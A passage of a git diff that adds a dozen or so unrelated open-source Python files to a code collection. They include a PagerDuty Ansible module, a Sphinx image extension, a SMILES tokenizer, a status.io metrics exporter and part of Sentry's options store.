+ } + + params = { + 'service_ids[]': service_id, + 'sort_by': 'incident_number:desc', + 'time_zone': 'UTC' + } + if incident_key: + params['incident_key'] = incident_key + + url_parts = list(urlparse(url)) + url_parts[4] = urlencode(params, True) + + url = urlunparse(url_parts) + + response, info = http_call(module, url, method='get', headers=headers) + + if info['status'] != 200: + module.fail_json(msg="failed to check current incident status." + "Reason: %s" % info['msg']) + json_out = json.loads(response.read())["incidents"][0] + + if state != json_out["status"]: + return json_out, True + return json_out, False + + +def send_event(module, service_key, event_type, desc, + incident_key=None, client=None, client_url=None): + url = "https://events.pagerduty.com/generic/2010-04-15/create_event.json" + headers = { + "Content-type": "application/json" + } + + data = { + "service_key": service_key, + "event_type": event_type, + "incident_key": incident_key, + "description": desc, + "client": client, + "client_url": client_url + } + + response, info = fetch_url(module, url, method='post', + headers=headers, data=json.dumps(data)) + if info['status'] != 200: + module.fail_json(msg="failed to %s. Reason: %s" % + (event_type, info['msg'])) + json_out = json.loads(response.read()) + return json_out + + +def main(): + module = AnsibleModule( + argument_spec=dict( + name=dict(required=False), + service_id=dict(required=True), + service_key=dict(require=False), + integration_key=dict(require=False), + api_key=dict(required=True), + state=dict(required=True, + choices=['triggered', 'acknowledged', 'resolved']), + client=dict(required=False, default=None), + client_url=dict(required=False, default=None), + desc=dict(required=False, default='Created via Ansible'), + incident_key=dict(required=False, default=None) + ), + supports_check_mode=True + ) + + name = module.params['name'] + service_id = module.params['service_id'] + integration_key = module.params['integration_key'] + service_key = module.params['service_key'] + api_key = module.params['api_key'] + state = module.params['state'] + client = module.params['client'] + client_url = module.params['client_url'] + desc = module.params['desc'] + incident_key = module.params['incident_key'] + + if integration_key is None: + if service_key is not None: + integration_key = service_key + module.warn('"service_key" is obsolete parameter and will be removed.' + ' Please, use "integration_key" instead') + else: + module.fail_json(msg="'integration_key' is required parameter") + + state_event_dict = { + 'triggered': 'trigger', + 'acknowledged': 'acknowledge', + 'resolved': 'resolve' + } + + event_type = state_event_dict[state] + + if event_type != 'trigger' and incident_key is None: + module.fail_json(msg="incident_key is required for " + "acknowledge or resolve events") + + out, changed = check(module, name, state, service_id, + integration_key, api_key, incident_key) + + if not module.check_mode and changed is True: + out = send_event(module, integration_key, event_type, desc, + incident_key, client, client_url) + + module.exit_json(result=out, changed=changed) + + +if __name__ == '__main__': + main() diff --git a/pool/shard000/Python/0007740_images.py b/pool/shard000/Python/0007740_images.py new file mode 100644 index 0000000000000000000000000000000000000000..a2cce57dfab698814ac60b0d973de08001d0118c --- /dev/null +++ b/pool/shard000/Python/0007740_images.py @@ -0,0 +1,80 @@ +# -*- coding: utf-8 -*- +""" +Based on the sphinx.ext.extlinks.py, from the Sphinx documentation software. +BSD licensed: see http://sphinx.pocoo.org/latest/ + + Extension to save typing and prevent hard-coding of base URLs in the reST + files. + + This adds a config value called ``ext_images`` that is created like this:: + + ext_images = {'image': 'http://127.0.0.1:8000/media/images/%s'} + + Now you can use e.g. :image:`201107/pic.png` in the ReST and it will create + a link to ``http://scipy-central.org/images/201107/pic.png``. +""" +import re, os +from docutils import nodes, utils +import logging +logger = logging.getLogger('scipycentral') + +def make_link_role(base_url, app): + def role(typ, rawtext, text, lineno, inliner, options=None, content=None): + text = utils.unescape(text) + text_part = text.partition(';') + text_rest = text_part[2].strip() + specs = {'scaling': None, 'imgname': text_part[0], + 'wspec': None, 'hspec': None} + if re.search(r'(?P\d+)', text_rest): + specs['scaling'] = abs(float(text_rest)) + # Don't allow image sizes smaller than 15% of maximum width or + # height. Also, not greater than 100% + specs['scaling'] = max(15.0, min(100, specs['scaling'])) + + #img_dir = os.path.join(app.env.config.SPC['resized_image_dir'], os.pardir) + img_dir = os.path.join(app.env.config.SPC['MEDIA_ROOT'], "images") + img_file = os.path.join(img_dir, text_part[0]) + logger.debug("pardir:" + os.pardir) + logger.debug("img_dir:" + img_dir) + logger.debug("img_file:" + img_file) + img_obj = app.env.config.SPC['__Screenshot__'].objects.\ + filter(img_file=img_file) + + if img_obj: + img = img_obj[0] + + if specs['scaling'] and specs['scaling'] < 100.0: + # We guaranteed that image is already either at max height + # or max width. Since ``scaling`` is a number <= 100, we can + # be sure that we are only shrinking the image + specs['wspec'] = img.img_file.width * specs['scaling'] / 100. + specs['hspec'] = img.img_file.height * specs['scaling'] / 100. + + try: + full_url = base_url % text_part[0] + except (TypeError, ValueError): + env = inliner.document.settings.env + env.warn(env.docname, 'unable to expand %s ext_images with base ' + 'URL %r, please make sure the base contains \'%%s\' ' + 'exactly once' % (typ, base_url)) + full_url = base_url + text_part[0] + + # See "docutils.parsers.rst.directives.images.py" and then ``Image`` + options = {'uri': full_url} + if specs['wspec']: + options['width'] = str(int(specs['wspec'])) + 'px' + if specs['hspec']: + options['height'] = str(int(specs['hspec'])) + 'px' + + image_node = nodes.image(full_url, **options) + return [image_node], [] + return role + +def setup_link_roles(app): + for name, base_url in app.config.ext_images.iteritems(): + logger.debug("link: " + name + " : " + base_url) + app.add_role(name, make_link_role(base_url, app)) + +def setup(app): + app.add_config_value('ext_images', {}, 'env') + app.connect('builder-inited', setup_link_roles) diff --git a/pool/shard000/Python/0007748_raspberryfriend-miguel.py b/pool/shard000/Python/0007748_raspberryfriend-miguel.py new file mode 100644 index 0000000000000000000000000000000000000000..b0cdd9bc52ca41179e90ae95dcfb11a3d94de132 --- /dev/null +++ b/pool/shard000/Python/0007748_raspberryfriend-miguel.py @@ -0,0 +1,37 @@ +#!/usr/bin/python +# raspberry pi nrf24l01 hub +# more details at http://blog.riyas.org +# Credits to python port of nrf24l01, Joao Paulo Barrac & maniacbugs original c library + +from nrf24b import NRF24 +import time +from time import gmtime, strftime + +pipes = [[0xf0, 0xf0, 0xf0, 0xf0, 0xe1], [0xf0, 0xf0, 0xf0, 0xf0, 0xd2]] + +radio = NRF24() +radio.begin(0, 0,25,18) #set gpio 25 as CE pin +radio.setRetries(15,15) +radio.setPayloadSize(32) +radio.setChannel(0x4c) +radio.setDataRate(NRF24.BR_250KBPS) +radio.setPALevel(NRF24.PA_MAX) +radio.setAutoAck(1) +radio.openWritingPipe(pipes[0]) +radio.openReadingPipe(1, pipes[1]) + +radio.startListening() +radio.stopListening() + +radio.printDetails() +radio.startListening() + +while True: + pipe = [0] + while not radio.available(pipe, True): + time.sleep(1000/1000000.0) + recv_buffer = [] + radio.read(recv_buffer) + out = ''.join(chr(i) for i in recv_buffer) + print (out) + diff --git a/pool/shard000/Python/0007755_colorscale.py b/pool/shard000/Python/0007755_colorscale.py new file mode 100644 index 0000000000000000000000000000000000000000..8e6185dd2a659c9ad8b1c66f473a4a4f79116116 --- /dev/null +++ b/pool/shard000/Python/0007755_colorscale.py @@ -0,0 +1,160 @@ +######################################################################### +# +# colorscale.py - This file is part of the Spectral Python (SPy) package. +# +# Copyright (C) 2001-2010 Thomas Boggs +# +# Spectral Python is free software; you can redistribute it and/ +# or modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# Spectral Python is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this software; if not, write to +# +# Free Software Foundation, Inc. +# 59 Temple Place, Suite 330 +# Boston, MA 02111-1307 +# USA +# +######################################################################### +# +# Send comments to: +# Thomas Boggs, tboggs@users.sourceforge.net +# + + +from __future__ import division, print_function, unicode_literals + +class ColorScale: + ''' + A color scale class to map scalar values to rgb colors. The class allows + associating colors with particular scalar values, setting a background + color (for values below threshold), andadjusting the scale limits. The + :meth:`__call__` operator takes a scalar input and returns the + corresponding color, interpolating between defined colors. + ''' + def __init__(self, levels, colors, num_tics=0): + ''' + Creates the ColorScale. + + Arguments: + + `levels` (list of numbers): + + Scalar levels to which the `colors` argument will correspond. + + `colors` (list of 3-tuples): + + RGB 3-tuples that define the colors corresponding to `levels`. + + `num_tics` (int): + + The total number of colors in the scale, not including the + background color. This includes the colors given in the + `colors` argument, as well as interpolated color values. If + not specified, only the colors in the `colors` argument will + be used (i.e., num_tics = len(colors). + ''' + import numpy as np + if len(colors.shape) != 2 or colors.shape[1] != 3: + raise 'colors array has invalid shape.' + if len(levels) != colors.shape[0]: + raise 'Number of scale levels and colors do not match.' + + if num_tics == 0: + num_tics = len(colors) + if num_tics < 2: + msg = 'There must be at least two tics in the color scale.' + raise ValueError(msg) + + # Make sure scale levels are floats + if type(levels) in (list, tuple): + levels = [float(x) for x in levels] + elif isinstance(levels, np.ndarray): + levels = levels.astype(np.float) + + self.span = levels[-1] - levels[0] + self.max = levels[-1] + self.min = levels[0] + self.tics = np.linspace(self.min, self.max, num_tics) + self.colorTics = np.zeros((len(self.tics), 3), np.int) + self.size = len(self.tics) + self.bgColor = np.array([0, 0, 0]) + + j = 1 + dcolor = colors[1] - colors[0] + dlevel = levels[1] - levels[0] + for i in range(len(self.tics)): + while self.tics[i] >= levels[j] and j < len(levels) - 1: + j += 1 + dcolor = colors[j] - colors[j - 1] + dlevel = levels[j] - levels[j - 1] + self.colorTics[i] = (colors[j - 1] + (self.tics[i] - levels[j - 1]) + / dlevel * dcolor).astype(np.int) + + def __call__(self, val): + '''Returns the scale color associated with the given value.''' + if val < self.min: + return self.bgColor + elif val >= self.max: + return self.colorTics[-1] + else: + return self.colorTics[int((float(val) - self.min) + / self.span * self.size)] + + def set_background_color(color): + '''Sets RGB color used for values below the scale minimum. + + Arguments: + + `color` (3-tuple): An RGB triplet + ''' + if type(color) in (list, tuple): + color = array(color) + if len(color.shape) != 1 or color.shape[0] != 3: + raise 'Color value must be have exactly 3 elements.' + self.bgColor = color + + def set_range(self, min, max): + '''Sets the min and max values of the color scale. + + The distribution of colors within the scale will stretch or shrink + accordingly. + ''' + self.min = min + self.max = max + self.span = max - min + + +def create_default_color_scale(ntics=0): + '''Returns a black-blue-green-red-yellow-white color scale. + + Arguments: + + `ntics` (integer): + + Total number of colors in the scale. If this value is 0, no + interpolated colors will be used. + ''' + from numpy import array + mycolors = array([[0, 0, 0], + [0, 0, 255], + [0, 255, 0], + [255, 0, 0], + [255, 255, 0], + [255, 255, 255]]) + + if ntics != 0 and ntics < len(mycolors): + raise ValueError('Any non-zero value of `ntics` must be greater than' + ' {}.'.format(len(mycolors))) + levels = array([0., 10., 20., 30., 40., 50.]) + scale = ColorScale(levels, mycolors, ntics) + return scale + +default_color_scale = create_default_color_scale() diff --git a/pool/shard000/Python/0007758_Smiles.py b/pool/shard000/Python/0007758_Smiles.py new file mode 100644 index 0000000000000000000000000000000000000000..df59f33892078941473864a10429049129bffe7c --- /dev/null +++ b/pool/shard000/Python/0007758_Smiles.py @@ -0,0 +1,168 @@ +import re, string + +import Handler + +# To verify this is correct, run +# support.make_re_pattern(support.element_symbols + support.aromatic_symbols) +# Yes, I included aromatics in this list. +element_symbols_pattern = \ + r"C[laroudsemf]?|Os?|N[eaibdpos]?|S[icernbmg]?|P[drmtboau]?|" \ + r"H[eofgas]?|c|n|o|s|p|A[lrsgutcm]|B[eraik]?|Dy|E[urs]|F[erm]?|" \ + r"G[aed]|I[nr]?|Kr?|L[iaur]|M[gnodt]|R[buhenaf]|T[icebmalh]|" \ + r"U|V|W|Xe|Yb?|Z[nr]|\*" + +atom_fields = [ + "raw_atom", + "open_bracket", + "weight", + "element", + "chiral_count", + "chiral_named", + "chiral_symbols", + "hcount", + "positive_count", + "positive_symbols", + "negative_count", + "negative_symbols", + "error_1", + "error_2", + "close_bracket", + "error_3", + ] + +atom = re.compile(r""" +(?PCl|Br|[cnospBCNOFPSI]) | # "raw" means outside of brackets +( + (?P\[) # Start bracket + (?P\d+)? # Atomic weight (optional) + ( # valid term or error + ( # valid term + (?P""" + element_symbols_pattern + r""") # element or aromatic + ( # Chirality can be + (?P@\d+) | # @1 @2 @3 ... + (?P # or + @TH[12] | # @TA1 @TA2 + @AL[12] | # @AL1 @AL2 + @SP[123] | # @SP1 @SP2 @SP3 + @TB(1[0-9]?|20?|[3-9]) | # @TB{1-20} + @OH(1[0-9]?|2[0-9]?|30?|[4-9])) | # @OH{1-30} + (?P@+) # or @@@@@@@... + )? # and chirality is optional + (?PH\d*)? # Optional hydrogen count + ( # Charges can be + (?P\+\d+) | # + + (?P\++) | # +++... This includes the single '+' + (?P-\d+) | # - + (?P-+) # ---... including a single '-' + )? # and are optional + (?P[^\]]+)? # If there's anything left, it's an error + ) | ( # End of parsing stuff in []s, except + (?P[^\]]*) # If there was an error, we get here + )) + ((?P\])| # End bracket + (?P$)) # unexpectedly reached end of string +) +""", re.X) + +bond_fields = ["bond"] +bond = re.compile(r"(?P[=#/\\:~-])") + +dot_fields = ["dot"] +dot = re.compile(r"(?P\.)") + +closure_fields = ["closure"] +closure = re.compile(r"(?P\d|%\d\d?)") + +close_branch_fields = ["close_branch"] +close_branch = re.compile(r"(?P\))") + +open_branch_fields = ["open_branch"] +open_branch = re.compile(r"(?P\()") + +# Make from the state name to +# 1. the regular expession to try to match and +# 2. the list of field names in that regexp. +# (There's no way to use sre to get #2 as an ordered list so +# it needs to be done manually.) +info = { + "atom": (atom, atom_fields), + "bond": (bond, bond_fields), + "dot": (dot, dot_fields), + "closure": (closure, closure_fields), + "close_branch": (close_branch, close_branch_fields), + "open_branch": (open_branch, open_branch_fields), + } + +# Mapping from current state to allowed states +table = { + # Could allow a dot + "start": ("atom",), + + # CC, C=C, C(C)C, C(C)C, C.C, C1CCC1 + "atom": ("atom", "bond", "close_branch", "open_branch", "dot", "closure"), + + # C=C, C=1CCC=1 + "bond": ("atom", "closure"), + + # C(C)C, C(C)=C, C(C).C, C(C(C))C, C(C)(C)C + "close_branch": ("atom", "bond", "dot", "close_branch", "open_branch"), + + # C(C), C(=C), C(.C) (really!) + "open_branch": ("atom", "bond", "dot"), + + # C.C -- allow a dot? as in C..C + "dot": ("atom",), + + # C1CCC1, C1=CCC1, C12CC1C2, C1C(CC)1, C1(CC)CC1, c1ccccc1.[NH4+] + "closure": ("atom", "bond", "closure", "close_branch", "open_branch", "dot"), +} + +# Parse a SMILES string and print the events found +def tokenize(s, handler = Handler.TokenHandler()): + expected = table["start"] + n = len(s) + i = 0 + handler.begin() + while i < n: + # Of the expected states, find one that matches the + # text at the current position. + for state in expected: + pat, fields = info[state] + m = pat.match(s, i) + if m: + break + else: + # No matches found, so this was an error + handler.error("Unknown character", i, s[i:]) + # The handler is allowed to not throw an + # exception, but we are done, so return. + return + #print "New state:", state, + + # Get the dictionary of matched name groups + d = m.groupdict() + + # Go through the list of fields that could have matched. + # Needs to go in a order so the token text can be converted + # back into the original string. + for field in fields: + # See if there was a match for the given named field + if d[field] is not None: + # Was it an error match? + if field[:5] == "error": + pos = m.start(field) + if field == "error_3": + handler.error("Missing ']'", pos, s[pos:]) + else: + handler.error("Unknown character", pos, s[pos:]) + return + # Success, so send the token to the callback + #print "--> ", m.group(field), field + handler.add_token(field, i, m.group(field)) + + # Get the new list of expected states, and move to + # the end of the previous match. + expected = table[state] + i = m.end(0) + + handler.end() diff --git a/pool/shard000/Python/0007759_datastore.py b/pool/shard000/Python/0007759_datastore.py new file mode 100644 index 0000000000000000000000000000000000000000..ed16a66279ccfcb65e7467afaabd0e3fef29147f --- /dev/null +++ b/pool/shard000/Python/0007759_datastore.py @@ -0,0 +1,96 @@ +from django.conf import settings +import socket +import struct +import urllib +import hashlib + +try: + import json +except: + import simplejson as json + + +class DataStore(object): + def __init__ (self, short_name) : + self.sbuffer = [ ] + self.m_socket = socket.socket() + self.m_socket.connect((settings.DATAPROXY_HOST, settings.DATAPROXY_PORT)) + + self.secret = hasattr(settings, 'DATASTORE_SECRET') and settings.DATASTORE_SECRET or '' + + # Set receive timeout to be 20 seconds so that this failing doesn't cause us to 404 on the + # scraper overview page. + # If this doesn't work out, change to using select() with a timeout (both individual and overall) + self.m_socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVTIMEO, struct.pack('LL', 20, 0)) + + secret_key = '%s%s' % (short_name, self.secret,) + data = [ ("uml", socket.gethostname()), + ("port", self.m_socket.getsockname()[1]), + ("short_name", short_name), + ('verify',hashlib.sha256(secret_key).hexdigest()) ] + self.m_socket.send ('GET /?%s HTTP/1.1\n\n' % urllib.urlencode(data)) + + res = self.receiveoneline() # comes back with True, "Ok" + self.error = res.get('error', None) + + def request(self, req): + assert type(req) == dict, req + assert "maincommand" in req + + if self.error: + return self.error + + self.m_socket.sendall(json.dumps(req) + '\n') + return self.receiveoneline() + + def close(self) : + if self.m_socket: + try: + # Try and flush some data but bear in mind that the proxy may have already + # closed the connection for us - as it does tend to do from time to time + self.m_socket.close() + except: + pass + + self.m_socket = None + + # a \n delimits the end of the record. you cannot read beyond it or it will hang; unless there is a moredata=True parameter + def receiveonelinenj(self): + + while len(self.sbuffer) >= 2: + res = self.sbuffer.pop(0) + if res: + return res + + timeout = False + srec = None + while True: + try: + srec = self.m_socket.recv(2048) + timeout = False + except: + timeout = True + + if not srec: + msg = timeout and "The dataproxy connection timed out, please retry." or "The socket from the dataproxy has closed" + return json.dumps({'error': msg }) + + ssrec = srec.split("\n") # multiple strings if a "\n" exists + self.sbuffer.append(ssrec.pop(0)) + if ssrec: + break # Discard anything after the newline + + line = "".join(self.sbuffer) + self.sbuffer = ssrec + return line + + + def receiveoneline(self): + self.sbuffer = [ ] # reset the buffer just for sake of that's what's worked in the past + try: + ret = json.loads(self.receiveonelinenj()) + except ValueError, e: + ret = {'error': e.message} + assert "moredata" not in ret + return ret + \ No newline at end of file diff --git a/pool/shard000/Python/0007760_parser_hierarchy.py b/pool/shard000/Python/0007760_parser_hierarchy.py new file mode 100644 index 0000000000000000000000000000000000000000..09c60f14bd51e70697af2c415e6c03fd5583b460 --- /dev/null +++ b/pool/shard000/Python/0007760_parser_hierarchy.py @@ -0,0 +1,80 @@ +# coding=utf-8 +# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +from __future__ import (absolute_import, division, generators, nested_scopes, print_function, + unicode_literals, with_statement) + +import re + +from pants.option.arg_splitter import GLOBAL_SCOPE +from pants.option.config import Config +from pants.option.parser import Parser + + +class InvalidScopeError(Exception): + pass + +_empty_scope_component_re = re.compile(r'\.\.') + + +def _validate_full_scope(scope): + if _empty_scope_component_re.search(scope): + raise InvalidScopeError( + "full scope '{}' has at least one empty component".format(scope)) + + +def enclosing_scope(scope): + """Utility function to return the scope immediately enclosing a given scope.""" + _validate_full_scope(scope) + return scope.rpartition('.')[0] + + +def all_enclosing_scopes(scope, allow_global=True): + """Utility function to return all scopes up to the global scope enclosing a + given scope.""" + + _validate_full_scope(scope) + + # TODO(cosmicexplorer): validate scopes here and/or in `enclosing_scope()` + # instead of assuming correctness. + def scope_within_range(tentative_scope): + if tentative_scope is None: + return False + if not allow_global and tentative_scope == GLOBAL_SCOPE: + return False + return True + + while scope_within_range(scope): + yield scope + scope = (None if scope == GLOBAL_SCOPE else enclosing_scope(scope)) + + +class ParserHierarchy(object): + """A hierarchy of scoped Parser instances. + + A scope is a dotted string: E.g., compile.java. In this example the compile.java scope is + enclosed in the compile scope, which is enclosed in the global scope (represented by an + empty string.) + """ + + def __init__(self, env, config, scope_infos, option_tracker): + # Sorting ensures that ancestors precede descendants. + scope_infos = sorted(set(list(scope_infos)), key=lambda si: si.scope) + self._parser_by_scope = {} + for scope_info in scope_infos: + scope = scope_info.scope + parent_parser = (None if scope == GLOBAL_SCOPE else + self._parser_by_scope[enclosing_scope(scope)]) + self._parser_by_scope[scope] = Parser(env, config, scope_info, parent_parser, + option_tracker=option_tracker) + + def get_parser_by_scope(self, scope): + try: + return self._parser_by_scope[scope] + except KeyError: + raise Config.ConfigValidationError('No such options scope: {}'.format(scope)) + + def walk(self, callback): + """Invoke callback on each parser, in pre-order depth-first order.""" + self._parser_by_scope[GLOBAL_SCOPE].walk(callback) diff --git a/pool/shard000/Python/0007761_test.py b/pool/shard000/Python/0007761_test.py new file mode 100644 index 0000000000000000000000000000000000000000..ea87b8718b469f95a48a523bf6ad363d411f534f --- /dev/null +++ b/pool/shard000/Python/0007761_test.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 + +from __future__ import print_function +from builtins import str +import sys +import os + +from vmrunner import vmrunner + +image_name="build/service" +if len(sys.argv) > 1: + image_name=str(sys.argv[1]) + +def test2(): + print("Booting VM 2 - lots of memory") + vm = vmrunner.vm(config = "vm2.json") + vm.boot(20, image_name = image_name) + +vm = vmrunner.vm(config = "vm1.json") +vm.on_exit_success(test2) +print("Booting VM 1 - default amount of memory") + +if len(sys.argv) > 1: + vm.boot(image_name=str(sys.argv[1])) +else: + vm.cmake().boot(20,image_name='kernel_memmap').clean() diff --git a/pool/shard000/Python/0007766_test_group_concat.py b/pool/shard000/Python/0007766_test_group_concat.py new file mode 100644 index 0000000000000000000000000000000000000000..1c3700cc512b1ddd2cfa6a639a339b36edaeabbe --- /dev/null +++ b/pool/shard000/Python/0007766_test_group_concat.py @@ -0,0 +1,22 @@ +# -*- coding: utf-8 -*- +from sqlalchemy import MetaData, Table, Column, String, select +from sqlalchemy import create_engine +from slutils.sqlalchemy.group_concat import group_concat + +m = MetaData() +t = Table('t1', m, Column('foo', String), Column('bar', String)) + +s = select([group_concat(t.c.foo, t.c.bar)]).\ + compile(bind=create_engine('mysql://')) != "" + +assert s != "" + +s = select([group_concat(t.c.foo)]).\ + compile(bind=create_engine('mysql://')) + +assert s != "" + +s = select([group_concat(t.c.foo, separator="tocata")]).\ + compile(bind=create_engine('mysql://')) + +assert s != "" diff --git a/pool/shard000/Python/0007768_statusio_export_archive_counters.py b/pool/shard000/Python/0007768_statusio_export_archive_counters.py new file mode 100644 index 0000000000000000000000000000000000000000..89e91887364285ee7bce2bd6d7befbdbf2d79f3d --- /dev/null +++ b/pool/shard000/Python/0007768_statusio_export_archive_counters.py @@ -0,0 +1,203 @@ +#!/usr/bin/python3 +# File managed by puppet (class ::profile::status_io_metrics), changes will be lost. + +# python3 update_metrics.py -m swh_web_accepted_save_requests --api-id 1234 --api-key 456 --status-page-id 123 \ +# --metric-id 456 -f environment="production" -f "load_task_status=~scheduled|not_yet_scheduled" -f instance=moma.internal.softwareheritage.org +import statusio +import requests +from datetime import datetime, timedelta +from typing import List, Tuple +import os +import click + +# 2014-03-28T05:43:00+00:00 +API_DATE_FORMAT = "%Y-%m-%dT%H:%M:%S+00:00" + + +def extract_metrics(raw_data) -> List[List]: + return raw_data["data"]["result"][0]["values"] + + +def get_average(values: List[int]) -> float: + return sum(values) / len(values) + + +def escape_filter(filter: str) -> str: + if "=~" in filter: + separator = "=~" + else: + separator = "=" + + terms = filter.split(separator) + + return f'{terms[0]}{separator}"{terms[1]}"' + + +def get_prometheus_values( + prometheus_url: str, + metric: str, + filters: List[str], + start: int, + end: int, + interval: int, +) -> List[List]: + escaped_filters = [escape_filter(filter) for filter in filters] + + metric_filters = ",".join(escaped_filters) + + url = f"{prometheus_url}?query=sum({metric}{{{metric_filters}}})&start={start}&end={end}&step={interval}" + + response = requests.get(url) + if response.ok == False: + raise ValueError(f"Unable to get prometheus metrics: {response.text}") + + return extract_metrics(response.json()) + + +def extract_status_io_data(prometheus_data: List[List]) -> Tuple[List[str], List[int]]: + dates = [] + values = [] + + for tuple in prometheus_data: + date = datetime.fromtimestamp(tuple[0]) + + dates.append(date.strftime(API_DATE_FORMAT)) + values.append(int(tuple[1])) + + return (dates, values) + + +@click.command() +@click.option( + "--prometheus-server", + "-s", + default="pergamon.internal.softwareheritage.org", + help="Prometheus instance", +) +@click.option( + "--prometheus-port", + "-p", + default=9090, + type=click.INT, + help="Prometheus instance service port", +) +@click.option( + "--prometheus-metric", + "-m", + required=True, + help="Prometheus metric to query", +) +@click.option( + "--prometheus-filter", + "-f", + multiple=True, + help="Prometheus metric to query", +) +@click.option( + "--api-id", + required=True, + help="status io api id", +) +@click.option( + "--api-key", + required=True, + help="status io api key", +) +@click.option( + "--status-page-id", + required=True, + help="status io status page id", +) +@click.option( + "--metric-id", + required=True, + help="status io metric id", +) +def main( + prometheus_server: str, + prometheus_port: int, + prometheus_metric: str, + prometheus_filter: List[str], + api_id: str, + api_key: str, + status_page_id: str, + metric_id: str, +): + """populate a status.io metric from a prometheus metric""" + + prometheus_url = f"http://{prometheus_server}:{prometheus_port}/api/v1/query_range" + + # dates computation + current_time = datetime.utcnow() + day_start = current_time - timedelta(days=1) + hour_interval = 3600 + day_interval = 3600 * 24 + week_start = current_time - timedelta(days=7) + month_start = current_time - timedelta(days=30) + + api = statusio.Api(api_id=api_id, api_key=api_key) + + raw_values = get_prometheus_values( + prometheus_url, + prometheus_metric, + prometheus_filter, + day_start.timestamp(), + current_time.timestamp(), + hour_interval, + ) + + day_dates, day_values = extract_status_io_data(raw_values) + day_avg = get_average(day_values) + + raw_values = get_prometheus_values( + prometheus_url, + prometheus_metric, + prometheus_filter, + week_start.timestamp(), + current_time.timestamp(), + day_interval, + ) + + week_dates, week_values = extract_status_io_data(raw_values) + week_avg = get_average(week_values) + + raw_values = get_prometheus_values( + prometheus_url, + prometheus_metric, + prometheus_filter, + month_start.timestamp(), + current_time.timestamp(), + day_interval, + ) + + month_dates, month_values = extract_status_io_data(raw_values) + month_avg = get_average(month_values) + + result = api.MetricUpdate( + statuspage_id=status_page_id, + metric_id=metric_id, + day_avg=day_avg, + day_start=day_start.timestamp(), + day_dates=day_dates, + day_values=day_values, + week_avg=week_avg, + week_start=week_start.timestamp(), + week_dates=week_dates, + week_values=week_values, + month_avg=month_avg, + month_start=month_start.timestamp(), + month_dates=month_dates, + month_values=month_values, + ) + + # this line will be sent by email via cron + # if the return code is not 0 + print(result) + + if result.get("result") == False: + exit(1) + exit(0) + + +if __name__ == "__main__": + main() diff --git a/pool/shard000/Python/0007771_test_rss.py b/pool/shard000/Python/0007771_test_rss.py new file mode 100644 index 0000000000000000000000000000000000000000..6a376604523ebf8503870c89a53dca687da512f9 --- /dev/null +++ b/pool/shard000/Python/0007771_test_rss.py @@ -0,0 +1,18 @@ +# -*- coding: utf-8 -*- +import pytest +import requests + +from cfme.base.ui import Server +from cfme.web_ui import Table +from cfme.utils.appliance.implementations.ui import navigate_to + +rss_table = Table("//div[@id='tab_div']/table", header_offset=1) + + +@pytest.mark.tier(3) +def test_verify_rss_links(): + navigate_to(Server, 'RSS') + for row in rss_table.rows(): + url = pytest.sel.text(row["feed_url"]).strip() + req = requests.get(url, verify=False) + assert 200 <= req.status_code < 400, "The url {} seems malformed".format(repr(url)) diff --git a/pool/shard000/Python/0007773_store.py b/pool/shard000/Python/0007773_store.py new file mode 100644 index 0000000000000000000000000000000000000000..1b546832d2d1b2106ff575eddaab24bb43d555b4 --- /dev/null +++ b/pool/shard000/Python/0007773_store.py @@ -0,0 +1,283 @@ +""" +sentry.options.store +~~~~~~~~~~~~~~~~~~~~ + +:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details. +:license: BSD, see LICENSE for more details. +""" +from __future__ import absolute_import, print_function + +import logging +from collections import namedtuple +from time import time +from random import random + +from django.utils import timezone +from django.utils.functional import cached_property +from sentry.db.models.query import create_or_update +from sentry.utils.hashlib import md5 + + +Key = namedtuple('Key', ('name', 'default', 'type', 'flags', 'ttl', 'grace', 'cache_key')) + +CACHE_FETCH_ERR = 'Unable to fetch option cache for %s' +CACHE_UPDATE_ERR = 'Unable to update option cache for %s' + +logger = logging.getLogger('sentry') + + +def _make_cache_key(key): + return 'o:%s' % md5(key).hexdigest() + + +def _make_cache_value(key, value): + now = int(time()) + return ( + value, + now + key.ttl, + now + key.ttl + key.grace, + ) + + +class OptionsStore(object): + """ + Abstraction for the Option storage logic that should be driven + by the OptionsManager. + + OptionsStore is gooey and raw. It provides no protection over + what goes into the store. It only knows that it's reading/writing + to the right place. If using the OptionsStore directly, it's your + job to do validation of the data. You should probably go through + OptionsManager instead, unless you need raw access to something. + """ + + def __init__(self, cache=None, ttl=None): + if cache is None: + from sentry.cache import default_cache + cache = default_cache + self.cache = cache + self.ttl = ttl + self.flush_local_cache() + + @cached_property + def model(self): + from sentry.models.option import Option + return Option + + def make_key(self, name, default, type, flags, ttl, grace): + return Key(name, default, type, flags, int(ttl), int(grace), _make_cache_key(name)) + + def get(self, key, silent=False): + """ + Fetches a value from the options store. + """ + result = self.get_cache(key, silent=silent) + if result is not None: + return result + + result = self.get_store(key, silent=silent) + if result is not None: + return result + + # As a last ditch effort, let's hope we have a key + # in local cache that's possibly stale + return self.get_local_cache(key, force_grace=True) + + def get_cache(self, key, silent=False): + """ + First check agaist our local in-process cache, falling + back to the network cache. + """ + value = self.get_local_cache(key) + if value is not None: + return value + + cache_key = key.cache_key + try: + value = self.cache.get(cache_key) + except Exception: + if not silent: + logger.warn(CACHE_FETCH_ERR, key.name, exc_info=True) + value = None + else: + if key.ttl > 0: + self._local_cache[cache_key] = _make_cache_value(key, value) + return value + + def get_local_cache(self, key, force_grace=False): + """ + Attempt to fetch a key out of the local cache. + + If the key exists, but is beyond expiration, we only + return it if grace=True. This forces the key to be returned + in a disaster scenario as long as we're still holding onto it. + This allows the OptionStore to pave over potential network hiccups + by returning a stale value. + """ + try: + value, expires, grace = self._local_cache[key.cache_key] + except KeyError: + return None + + now = int(time()) + + # Key is within normal expiry window, so just return it + if now < expires: + return value + + # If we're able to accept within grace window, return it + if force_grace and now < grace: + return value + + # Let's clean up values if we're beyond grace. + if now > grace: + try: + del self._local_cache[key.cache_key] + except KeyError: + # This could only exist in a race condition + # where another thread has already deleted this key, + # but we'll guard ourselves against it Justin Case. + # In this case, it's also possible that another thread + # has updated the value at this key, causing us to evict + # it prematurely. This 